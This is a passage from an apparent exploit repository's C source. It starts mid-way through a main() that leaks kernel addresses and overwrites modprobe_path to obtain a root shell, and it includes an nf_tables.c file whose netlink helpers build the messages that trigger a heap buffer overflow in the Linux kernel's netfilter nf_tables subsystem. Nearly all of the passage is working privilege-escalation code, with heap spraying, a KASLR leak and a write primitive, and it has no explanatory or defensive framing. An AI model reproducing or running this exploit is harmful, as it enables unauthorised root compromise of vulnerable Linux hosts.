*xattr_target_filename; 41 | 42 | /* Pin the process to the first CPU */ 43 | set_cpu_affinity(0, 0); 44 | 45 | prepare_root_shell(); 46 | printf("[+] Second process currently waiting\n"); 47 | 48 | new_ns(); 49 | printf("[+] Get CAP_NET_ADMIN capability\n"); 50 | 51 | /* Netfilter netlink socket creation */ 52 | if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) { 53 | do_error_exit("socket"); 54 | } 55 | printf("[+] Netlink socket created\n"); 56 | 57 | memset(&snl, 0, sizeof(snl)); 58 | snl.nl_family = AF_NETLINK; 59 | snl.nl_pid = getpid(); 60 | if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) 61 | do_error_exit("bind"); 62 | printf("[+] Netlink socket bound\n"); 63 | 64 | /* Create a netfilter table */ 65 | create_table(sock, TABLE_NAME); 66 | printf("[+] Table %s created\n", TABLE_NAME); 67 | 68 | /* Create a netfilter set for the info leak */ 69 | create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID); 70 | printf("[+] Set for the leak created\n"); 71 | 72 | /* Create a netfilter set for the write primitive */ 73 | create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1); 74 | printf("[+] Set for write primitive created\n"); 75 | 76 | /* Prepare the payload for the leak */ 77 | memset(&leak_payload, 0, sizeof(struct keyring_payload)); 78 | leak_payload.len = USHRT_MAX; 79 | 80 | printf("[*] Leak in process"); 81 | fflush(stdout); 82 | retry: 83 | /* Spray the heap with user_key_payload structs to perform an info leak */ 84 | id_buffer = spray_keyring(SPRAY_KEY_SIZE); 85 | 86 | /** Perform the overflow to modify the size of a registered key **/ 87 | add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload); 88 | 89 | /* Spray the heap with percpu_ref_data */ 90 | fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring)); 91 | if (!fd_buffer) 92 | do_error_exit("calloc"); 93 | spray_uring(SPRAY_SIZE, fd_buffer); 94 | 95 | /* Check if the overflow occured on the right object */ 96 | bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE); 97 | if (!bases) { 98 | release_keys(id_buffer, SPRAY_KEY_SIZE); 99 | release_uring(fd_buffer, SPRAY_SIZE); 100 | goto retry; 101 | } 102 | printf("\r[+] Leak succeed \n"); 103 | printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base); 104 | printf("[+] physmap base found 0x%lx\n", bases->physmap_base); 105 | 106 | /* Prepare the payload for the write primitive */ 107 | memset(&payload, 0, sizeof(struct write4_payload)); 108 | payload.next = (void *)(bases->physmap_base + 0x2f706d74); 109 | payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1); 110 | payload.name_offset = 0xe5; 111 | 112 | respray_xattr: 113 | /* Spray the heap for the write primitive */ 114 | xattr_target_filename = generate_tmp_filename(); 115 | spray_simple_xattr(xattr_target_filename, SPRAY_SIZE); 116 | 117 | add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload); 118 | 119 | /* Proceed to the write */ 120 | if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0) 121 | goto respray_xattr; 122 | 123 | printf("[+] modprobe_path changed !\n"); 124 | 125 | setup_modprobe_payload(); 126 | printf("[+] Modprobe payload setup\n"); 127 | get_root_shell(); 128 | 129 | wait(NULL); 130 | 131 | return EXIT_SUCCESS; 132 | } 133 | -------------------------------------------------------------------------------- /src/nf_tables.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "netlink.h" 14 | #include "nf_tables.h" 15 | #include "log.h" 16 | 17 | const uint8_t zerobuf[0x40] = {0}; 18 | 19 | /** 20 | * create_table(): Register a new table for the inet family 21 | * @sock: socket bound to the netfilter netlink 22 | * @name: Name of the new table 23 | */ 24 | void create_table(int sock, const char *name) { 25 | struct msghdr msg; 26 | struct sockaddr_nl dest_snl; 27 | struct iovec iov[3]; 28 | struct nlmsghdr *nlh_batch_begin; 29 | struct nlmsghdr *nlh; 30 | struct nlmsghdr *nlh_batch_end; 31 | struct nlattr *attr; 32 | struct nfgenmsg *nfm; 33 | 34 | /* Destination preparation */ 35 | memset(&dest_snl, 0, sizeof(dest_snl)); 36 | dest_snl.nl_family = AF_NETLINK; 37 | memset(&msg, 0, sizeof(msg)); 38 | 39 | /* Netlink batch_begin message preparation */ 40 | nlh_batch_begin = get_batch_begin_nlmsg(); 41 | 42 | /* Netlink table message preparation */ 43 | nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE); 44 | if (!nlh) 45 | do_error_exit("malloc"); 46 | 47 | memset(nlh, 0, TABLEMSG_SIZE); 48 | nlh->nlmsg_len = TABLEMSG_SIZE; 49 | nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE; 50 | nlh->nlmsg_pid = getpid(); 51 | nlh->nlmsg_flags = NLM_F_REQUEST; 52 | nlh->nlmsg_seq = 0; 53 | 54 | nfm = NLMSG_DATA(nlh); 55 | nfm->nfgen_family = NFPROTO_INET; 56 | 57 | /** Prepare associated attribute **/ 58 | attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)); 59 | set_str8_attr(attr, NFTA_TABLE_NAME, name); 60 | 61 | /* Netlink batch_end message preparation */ 62 | nlh_batch_end = get_batch_end_nlmsg(); 63 | 64 | /* IOV preparation */ 65 | memset(iov, 0, sizeof(struct iovec) * 3); 66 | iov[0].iov_base = (void *)nlh_batch_begin; 67 | iov[0].iov_len = nlh_batch_begin->nlmsg_len; 68 | iov[1].iov_base = (void *)nlh; 69 | iov[1].iov_len = nlh->nlmsg_len; 70 | iov[2].iov_base = (void *)nlh_batch_end; 71 | iov[2].iov_len = nlh_batch_end->nlmsg_len; 72 | 73 | /* Message header preparation */ 74 | msg.msg_name = (void *)&dest_snl; 75 | msg.msg_namelen = sizeof(struct sockaddr_nl); 76 | msg.msg_iov = iov; 77 | msg.msg_iovlen = 3; 78 | 79 | sendmsg(sock, &msg, 0); 80 | 81 | /* Free used structures */ 82 | free(nlh_batch_end); 83 | free(nlh); 84 | free(nlh_batch_begin); 85 | } 86 | 87 | /** 88 | * create_set(): Create a netfilter set 89 | * @sock: Socket used to communicate throught the netfilter netlink 90 | * @set_name: Name of the created set 91 | * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache 92 | * @data_len: Length of stored data. Used to control the size of the overflow 93 | * @table_name: Name of the table that stores this set 94 | * @id: ID of the created set 95 | */ 96 | void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) { 97 | struct msghdr msg; 98 | struct sockaddr_nl dest_snl; 99 | struct nlmsghdr *nlh_batch_begin; 100 | struct nlmsghdr *nlh_payload; 101 | struct nlmsghdr *nlh_batch_end; 102 | struct nfgenmsg *nfm; 103 | struct nlattr *attr; 104 | uint64_t nlh_payload_size; 105 | struct iovec iov[3]; 106 | 107 | /* Prepare the netlink sockaddr for msg */ 108 | memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); 109 | dest_snl.nl_family = AF_NETLINK; 110 | 111 | /* First netlink message: batch_begin */ 112 | nlh_batch_begin = get_batch_begin_nlmsg(); 113 | 114 | /* Second netlink message : Set attributes */ 115 | nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory 116 | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE 117 | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME 118 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID 119 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN 120 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS 121 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE 122 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN 123 | nlh_payload_size = NLMSG_SPACE(nlh_payload_size); 124 | 125 | /** Allocation **/ 126 | nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); 127 | if (!nlh_payload) 128 | do_error_exit("malloc"); 129 | 130 | memset(nlh_payload, 0, nlh_payload_size); 131 | 132 | /** Fill the required fields **/ 133 | nlh_payload->nlmsg_len = nlh_payload_size; 134 | nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; 135 | nlh_payload->nlmsg_pid = getpid(); 136 | nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; 137 | nlh_payload->nlmsg_seq = 0; 138 | 139 | 140 | /** Setup the nfgenmsg **/ 141 | nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); 142 | nfm->nfgen_family = NFPROTO_INET; 143 | 144 | /** Setup the attributes */ 145 | attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); 146 | attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name); 147 | attr = set_str8_attr(attr, NFTA_SET_NAME, set_name); 148 | attr = set_u32_attr(attr, NFTA_SET_ID, id); 149 | attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen); 150 | attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP); 151 | attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0); 152 | set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len); 153 | 154 | /* Last netlink message: batch_end */ 155 | nlh_batch_end = get_batch_end_nlmsg(); 156 | 157 | /* Setup the iovec */ 158 | memset(iov, 0, sizeof(struct iovec) * 3); 159 | iov[0].iov_base = (void *)nlh_batch_begin; 160 | iov[0].iov_len = nlh_batch_begin->nlmsg_len; 161 | iov[1].iov_base = (void *)nlh_payload; 162 | iov[1].iov_len = nlh_payload->nlmsg_len; 163 | iov[2].iov_base = (void *)nlh_batch_end; 164 | iov[2].iov_len = nlh_batch_end->nlmsg_len; 165 | 166 | /* Prepare the message to send */ 167 | memset(&msg, 0, sizeof(struct msghdr)); 168 | msg.msg_name = (void *)&dest_snl; 169 | msg.msg_namelen = sizeof(struct sockaddr_nl); 170 | msg.msg_iov = iov; 171 | msg.msg_iovlen = 3; 172 | 173 | /* Send message */ 174 | sendmsg(sock, &msg, 0); 175 | 176 | /* Free allocated memory */ 177 | free(nlh_batch_end); 178 | free(nlh_payload); 179 | free(nlh_batch_begin); 180 | } 181 | 182 | /** 183 | * add_elem_to_set(): Trigger the heap buffer overflow 184 | * @sock: Socket used to communicate throught the netfilter netlink 185 | * @set_name: Name of the set to add the element 186 | * @set_keylen: Length of the keys of the previous set 187 | * @table_name: Table associated to the preiv 188 | * @id: ID of the previous set 189 | * @data_len: Length of the data to copy. (= Size of the overflow - 16 ) 190 | * @data: Data used for the overflow 191 | * 192 | * Submit two elements to add to the set. 193 | * The first one is used to setup the data payload 194 | * The second will trigger the overflow 195 | */ 196 | void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) { 197 | struct msghdr msg; 198 | struct sockaddr_nl dest_snl; 199 | struct nlmsghdr *nlh_batch_begin; 200 | struct nlmsghdr *nlh_payload; 201 | struct nlmsghdr *nlh_batch_end; 202 | struct nfgenmsg *nfm; 203 | struct nlattr *attr; 204 | uint64_t nlh_payload_size; 205 | uint64_t nested_attr_size; 206 | size_t first_element_size; 207 | size_t second_element_size; 208 | struct iovec iov[3]; 209 | 210 | /* Prepare the netlink sockaddr for msg */ 211 | memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); 212 | dest_snl.nl_family = AF_NETLINK; 213 | 214 | /* First netlink message: batch */ 215 | nlh_batch_begin = get_batch_begin_nlmsg(); 216 | 217 | /* Second netlink message : Set attributes */ 218 | 219 | /** Precompute the size of the nested field **/ 220 | nested_attr_size = 0; 221 | 222 | /*** First element ***/ 223 | nested_attr_size += sizeof(struct nlattr); // Englobing attribute 224 | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY 225 | nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE 226 | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA 227 | nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE 228 | first_element_size = nested_attr_size; 229 | 230 | /*** Second element ***/ 231 | nested_attr_size += sizeof(struct nlattr); // Englobing attribute 232 | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY 233 | nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE 234 | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA 235 | nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT 236 | nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE 237 | second_element_size = nested_attr_size - first_element_size; 238 | 239 | nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory 240 | nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS 241 | nlh_payload_size += nested_attr_size; // All the stuff described above 242 | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE 243 | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET 244 | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID 245 | nlh_payload_size = NLMSG_SPACE(nlh_payload_size); 246 | 247 | /** Allocation **/ 248 | nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); 249 | if (!nlh_payload) { 250 | do_error_exit("malloc"); 251 | } 252 | memset(nlh_payload, 0, nlh_payload_size); 253 | 254 | /** Fill the required fields **/ 255 | nlh_payload->nlmsg_len = nlh_payload_size; 256 | nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; 257 | nlh_payload->nlmsg_pid = getpid(); 258 | nlh_payload->nlmsg_flags = NLM_F_REQUEST; 259 | nlh_payload->nlmsg_seq = 0; 260 | 261 | /** Setup the nfgenmsg **/ 262 | nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); 263 | nfm->nfgen_family = NFPROTO_INET; 264 | 265 | /** Setup the attributes */ 266 | attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); 267 | attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name); 268 | attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name); 269 | attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id); 270 | attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size); 271 | 272 | /*** First element ***/ 273 | attr = set_nested_attr(attr, 0, first_element_size - 4); 274 | attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen)); 275 | attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen); 276 | attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len)); 277 | attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len); 278 | 279 | /*** Second element ***/ 280 | attr = set_nested_attr(attr, 0, second_element_size - 4); 281 | attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen)); 282 | attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen); 283 | attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr)); 284 | attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE); 285 | set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE); 286 | 287 | /* Last netlink message: End of batch */ 288 | nlh_batch_end = get_batch_end_nlmsg(); 289 | 290 | /* Setup the iovec */ 291 | memset(iov, 0, sizeof(struct iovec) * 3); 292 | iov[0].iov_base = (void *)nlh_batch_begin; 293 | iov[0].iov_len = nlh_batch_begin->nlmsg_len; 294 | iov[1].iov_base = (void *)nlh_payload; 295 | iov[1].iov_len = nlh_payload->nlmsg_len; 296 | iov[2].iov_base = (void *)nlh_batch_end; 297 | iov[2].iov_len = nlh_batch_end->nlmsg_len; 298 | 299 | /* Prepare the message to send */ 300 | memset(&msg, 0, sizeof(struct msghdr)); 301 | msg.msg_name = (void *)&dest_snl; 302 | msg.msg_namelen = sizeof(struct sockaddr_nl); 303 | msg.msg_iov = iov; 304 | msg.msg_iovlen = 3; 305 | 306 | /* Send message */ 307 | sendmsg(sock, &msg, 0); 308 | 309 | /* Free allocated memory */ 310 | free(nlh_batch_end); 311 | free(nlh_payload); 312 | free(nlh_batch_begin); 313 | } 314 | --------------------------------------------------------------------------------